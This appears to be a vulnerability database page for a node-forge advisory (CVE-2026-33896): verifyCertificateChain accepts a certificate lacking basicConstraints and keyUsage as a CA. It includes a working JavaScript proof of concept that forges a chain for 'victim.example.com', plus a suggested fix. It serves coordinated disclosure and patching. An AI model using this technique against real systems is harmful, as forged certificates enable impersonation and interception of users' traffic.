GHSA-2328-F5F3-GJ25

Vulnerability from github – Published: 2026-03-26 22:05 – Updated: 2026-03-27 21:51
VLAI
Summary
Forge has a basicConstraints bypass in its certificate chain verification (RFC 5280 violation)
Details

Summary

pki.verifyCertificateChain() does not enforce RFC 5280 basicConstraints requirements when an intermediate certificate lacks both the basicConstraints and keyUsage extensions. This allows any leaf certificate (without these extensions) to act as a CA and sign other certificates, which node-forge will accept as valid.

Technical Details

In lib/x509.js, the verifyCertificateChain() function (around lines 3147-3199) has two conditional checks for CA authorization:

  1. The keyUsage check (which includes a sub-check requiring basicConstraints to be present) is gated on keyUsageExt !== null
  2. The basicConstraints.cA check is gated on bcExt !== null

When a certificate has neither extension, both checks are skipped entirely. The certificate passes all CA validation and is accepted as a valid intermediate CA.

RFC 5280 Section 6.1.4 step (k) requires:

"If certificate i is a version 3 certificate, verify that the basicConstraints extension is present and that cA is set to TRUE."

The absence of basicConstraints should result in rejection, not acceptance.

Proof of Concept

const forge = require('node-forge');
const pki = forge.pki;

function generateKeyPair() {
  return pki.rsa.generateKeyPair({ bits: 2048, e: 0x10001 });
}

console.log('=== node-forge basicConstraints Bypass PoC ===\n');

// 1. Create a legitimate Root CA (self-signed, with basicConstraints cA=true)
const rootKeys = generateKeyPair();
const rootCert = pki.createCertificate();
rootCert.publicKey = rootKeys.publicKey;
rootCert.serialNumber = '01';
rootCert.validity.notBefore = new Date();
rootCert.validity.notAfter = new Date();
rootCert.validity.notAfter.setFullYear(rootCert.validity.notBefore.getFullYear() + 10);

const rootAttrs = [
  { name: 'commonName', value: 'Legitimate Root CA' },
  { name: 'organizationName', value: 'PoC Security Test' }
];
rootCert.setSubject(rootAttrs);
rootCert.setIssuer(rootAttrs);
rootCert.setExtensions([
  { name: 'basicConstraints', cA: true, critical: true },
  { name: 'keyUsage', keyCertSign: true, cRLSign: true, critical: true }
]);
rootCert.sign(rootKeys.privateKey, forge.md.sha256.create());

// 2. Create a "leaf" certificate signed by root — NO basicConstraints, NO keyUsage
//    This certificate should NOT be allowed to sign other certificates
const leafKeys = generateKeyPair();
const leafCert = pki.createCertificate();
leafCert.publicKey = leafKeys.publicKey;
leafCert.serialNumber = '02';
leafCert.validity.notBefore = new Date();
leafCert.validity.notAfter = new Date();
leafCert.validity.notAfter.setFullYear(leafCert.validity.notBefore.getFullYear() + 5);

const leafAttrs = [
  { name: 'commonName', value: 'Non-CA Leaf Certificate' },
  { name: 'organizationName', value: 'PoC Security Test' }
];
leafCert.setSubject(leafAttrs);
leafCert.setIssuer(rootAttrs);
// NO basicConstraints extension — NO keyUsage extension
leafCert.sign(rootKeys.privateKey, forge.md.sha256.create());

// 3. Create a "victim" certificate signed by the leaf
//    This simulates an attacker using a non-CA cert to forge certificates
const victimKeys = generateKeyPair();
const victimCert = pki.createCertificate();
victimCert.publicKey = victimKeys.publicKey;
victimCert.serialNumber = '03';
victimCert.validity.notBefore = new Date();
victimCert.validity.notAfter = new Date();
victimCert.validity.notAfter.setFullYear(victimCert.validity.notBefore.getFullYear() + 1);

const victimAttrs = [
  { name: 'commonName', value: 'victim.example.com' },
  { name: 'organizationName', value: 'Victim Corp' }
];
victimCert.setSubject(victimAttrs);
victimCert.setIssuer(leafAttrs);
victimCert.sign(leafKeys.privateKey, forge.md.sha256.create());

// 4. Verify the chain: root -> leaf -> victim
const caStore = pki.createCaStore([rootCert]);

try {
  const result = pki.verifyCertificateChain(caStore, [victimCert, leafCert]);
  console.log('[VULNERABLE] Chain verification SUCCEEDED: ' + result);
  console.log('  node-forge accepted a non-CA certificate as an intermediate CA!');
  console.log('  This violates RFC 5280 Section 6.1.4.');
} catch (e) {
  console.log('[SECURE] Chain verification FAILED (expected): ' + e.message);
}

Results: - Certificate with NO extensions: ACCEPTED as CA (vulnerable — violates RFC 5280) - Certificate with basicConstraints.cA=false: correctly rejected - Certificate with keyUsage (no keyCertSign): correctly rejected - Proper intermediate CA (control): correctly accepted

Attack Scenario

An attacker who obtains any valid leaf certificate (e.g., a regular TLS certificate for attacker.com) that lacks basicConstraints and keyUsage extensions can use it to sign certificates for ANY domain. Any application using node-forge's verifyCertificateChain() will accept the forged chain.

This affects applications using node-forge for: - Custom PKI / certificate pinning implementations - S/MIME / PKCS#7 signature verification - IoT device certificate validation - Any non-native-TLS certificate chain verification

CVE Precedent

This is the same vulnerability class as: - CVE-2014-0092 (GnuTLS) — certificate verification bypass - CVE-2015-1793 (OpenSSL) — alternative chain verification bypass - CVE-2020-0601 (Windows CryptoAPI) — crafted certificate acceptance

Not a Duplicate

This is distinct from: - CVE-2025-12816 (ASN.1 parser desynchronization — different code path) - CVE-2025-66030/66031 (DoS and integer overflow — different issue class) - GitHub issue #1049 (null subject/issuer — different malformation)

Suggested Fix

Add an explicit check for absent basicConstraints on non-leaf certificates:

// After the keyUsage check block, BEFORE the cA check:
if(error === null && bcExt === null) {
  error = {
    message: 'Certificate is missing basicConstraints extension and cannot be used as a CA.',
    error: pki.certificateError.bad_certificate
  };
}

Disclosure Timeline

  • 2026-03-10: Report submitted via GitHub Security Advisory
  • 2026-06-08: 90-day coordinated disclosure deadline

Credits

Discovered and reported by Doruk Tan Ozturk (@peaktwilight) — doruk.ch

Severity
7.4 (High)
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 1.3.3"
      },
      "package": {
        "ecosystem": "npm",
        "name": "node-forge"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.4.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-33896"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-295"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-03-26T22:05:43Z",
    "nvd_published_at": "2026-03-27T21:17:26Z",
    "severity": "HIGH"
  },
  "details": "## Summary\n\n`pki.verifyCertificateChain()` does not enforce RFC 5280 basicConstraints requirements when an intermediate certificate lacks both the `basicConstraints` and `keyUsage` extensions. This allows any leaf certificate (without these extensions) to act as a CA and sign other certificates, which node-forge will accept as valid.\n\n## Technical Details\n\nIn `lib/x509.js`, the `verifyCertificateChain()` function (around lines 3147-3199) has two conditional checks for CA authorization:\n\n1. The `keyUsage` check (which includes a sub-check requiring `basicConstraints` to be present) is gated on `keyUsageExt !== null`\n2. The `basicConstraints.cA` check is gated on `bcExt !== null`\n\nWhen a certificate has **neither** extension, both checks are skipped entirely. The certificate passes all CA validation and is accepted as a valid intermediate CA.\n\n**RFC 5280 Section 6.1.4 step (k) requires:**\n\u003e \"If certificate i is a version 3 certificate, verify that the basicConstraints extension is present and that cA is set to TRUE.\"\n\nThe absence of `basicConstraints` should result in rejection, not acceptance.\n\n## Proof of Concept\n\n```javascript\nconst forge = require(\u0027node-forge\u0027);\nconst pki = forge.pki;\n\nfunction generateKeyPair() {\n  return pki.rsa.generateKeyPair({ bits: 2048, e: 0x10001 });\n}\n\nconsole.log(\u0027=== node-forge basicConstraints Bypass PoC ===\\n\u0027);\n\n// 1. Create a legitimate Root CA (self-signed, with basicConstraints cA=true)\nconst rootKeys = generateKeyPair();\nconst rootCert = pki.createCertificate();\nrootCert.publicKey = rootKeys.publicKey;\nrootCert.serialNumber = \u002701\u0027;\nrootCert.validity.notBefore = new Date();\nrootCert.validity.notAfter = new Date();\nrootCert.validity.notAfter.setFullYear(rootCert.validity.notBefore.getFullYear() + 10);\n\nconst rootAttrs = [\n  { name: \u0027commonName\u0027, value: \u0027Legitimate Root CA\u0027 },\n  { name: \u0027organizationName\u0027, value: \u0027PoC Security Test\u0027 }\n];\nrootCert.setSubject(rootAttrs);\nrootCert.setIssuer(rootAttrs);\nrootCert.setExtensions([\n  { name: \u0027basicConstraints\u0027, cA: true, critical: true },\n  { name: \u0027keyUsage\u0027, keyCertSign: true, cRLSign: true, critical: true }\n]);\nrootCert.sign(rootKeys.privateKey, forge.md.sha256.create());\n\n// 2. Create a \"leaf\" certificate signed by root \u2014 NO basicConstraints, NO keyUsage\n//    This certificate should NOT be allowed to sign other certificates\nconst leafKeys = generateKeyPair();\nconst leafCert = pki.createCertificate();\nleafCert.publicKey = leafKeys.publicKey;\nleafCert.serialNumber = \u002702\u0027;\nleafCert.validity.notBefore = new Date();\nleafCert.validity.notAfter = new Date();\nleafCert.validity.notAfter.setFullYear(leafCert.validity.notBefore.getFullYear() + 5);\n\nconst leafAttrs = [\n  { name: \u0027commonName\u0027, value: \u0027Non-CA Leaf Certificate\u0027 },\n  { name: \u0027organizationName\u0027, value: \u0027PoC Security Test\u0027 }\n];\nleafCert.setSubject(leafAttrs);\nleafCert.setIssuer(rootAttrs);\n// NO basicConstraints extension \u2014 NO keyUsage extension\nleafCert.sign(rootKeys.privateKey, forge.md.sha256.create());\n\n// 3. Create a \"victim\" certificate signed by the leaf\n//    This simulates an attacker using a non-CA cert to forge certificates\nconst victimKeys = generateKeyPair();\nconst victimCert = pki.createCertificate();\nvictimCert.publicKey = victimKeys.publicKey;\nvictimCert.serialNumber = \u002703\u0027;\nvictimCert.validity.notBefore = new Date();\nvictimCert.validity.notAfter = new Date();\nvictimCert.validity.notAfter.setFullYear(victimCert.validity.notBefore.getFullYear() + 1);\n\nconst victimAttrs = [\n  { name: \u0027commonName\u0027, value: \u0027victim.example.com\u0027 },\n  { name: \u0027organizationName\u0027, value: \u0027Victim Corp\u0027 }\n];\nvictimCert.setSubject(victimAttrs);\nvictimCert.setIssuer(leafAttrs);\nvictimCert.sign(leafKeys.privateKey, forge.md.sha256.create());\n\n// 4. Verify the chain: root -\u003e leaf -\u003e victim\nconst caStore = pki.createCaStore([rootCert]);\n\ntry {\n  const result = pki.verifyCertificateChain(caStore, [victimCert, leafCert]);\n  console.log(\u0027[VULNERABLE] Chain verification SUCCEEDED: \u0027 + result);\n  console.log(\u0027  node-forge accepted a non-CA certificate as an intermediate CA!\u0027);\n  console.log(\u0027  This violates RFC 5280 Section 6.1.4.\u0027);\n} catch (e) {\n  console.log(\u0027[SECURE] Chain verification FAILED (expected): \u0027 + e.message);\n}\n```\n\n**Results:**\n- Certificate with NO extensions: **ACCEPTED as CA** (vulnerable \u2014 violates RFC 5280)\n- Certificate with `basicConstraints.cA=false`: correctly rejected\n- Certificate with `keyUsage` (no `keyCertSign`): correctly rejected\n- Proper intermediate CA (control): correctly accepted\n\n## Attack Scenario\n\nAn attacker who obtains any valid leaf certificate (e.g., a regular TLS certificate for `attacker.com`) that lacks `basicConstraints` and `keyUsage` extensions can use it to sign certificates for ANY domain. Any application using node-forge\u0027s `verifyCertificateChain()` will accept the forged chain.\n\nThis affects applications using node-forge for:\n- Custom PKI / certificate pinning implementations\n- S/MIME / PKCS#7 signature verification\n- IoT device certificate validation\n- Any non-native-TLS certificate chain verification\n\n## CVE Precedent\n\nThis is the same vulnerability class as:\n- **CVE-2014-0092** (GnuTLS) \u2014 certificate verification bypass\n- **CVE-2015-1793** (OpenSSL) \u2014 alternative chain verification bypass\n- **CVE-2020-0601** (Windows CryptoAPI) \u2014 crafted certificate acceptance\n\n## Not a Duplicate\n\nThis is distinct from:\n- CVE-2025-12816 (ASN.1 parser desynchronization \u2014 different code path)\n- CVE-2025-66030/66031 (DoS and integer overflow \u2014 different issue class)\n- GitHub issue #1049 (null subject/issuer \u2014 different malformation)\n\n## Suggested Fix\n\nAdd an explicit check for absent `basicConstraints` on non-leaf certificates:\n\n```javascript\n// After the keyUsage check block, BEFORE the cA check:\nif(error === null \u0026\u0026 bcExt === null) {\n  error = {\n    message: \u0027Certificate is missing basicConstraints extension and cannot be used as a CA.\u0027,\n    error: pki.certificateError.bad_certificate\n  };\n}\n```\n\n## Disclosure Timeline\n\n- 2026-03-10: Report submitted via GitHub Security Advisory\n- 2026-06-08: 90-day coordinated disclosure deadline\n\n## Credits\n\nDiscovered and reported by Doruk Tan Ozturk ([@peaktwilight](https://github.com/peaktwilight)) \u2014 [doruk.ch](https://doruk.ch)",
  "id": "GHSA-2328-f5f3-gj25",
  "modified": "2026-03-27T21:51:17Z",
  "published": "2026-03-26T22:05:43Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/digitalbazaar/forge/security/advisories/GHSA-2328-f5f3-gj25"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-33896"
    },
    {
      "type": "WEB",
      "url": "https://github.com/digitalbazaar/forge/commit/2e492832fb25227e6b647cbe1ac981c123171e90"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/digitalbazaar/forge"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Forge has a basicConstraints bypass in its certificate chain verification (RFC 5280 violation)"
}


Log in or create an account to share your comment.




Tags
Taxonomy of the tags.





Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.

Sightings

Author Source Type Date Other

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.


Detection rules are retrieved from Rulezet.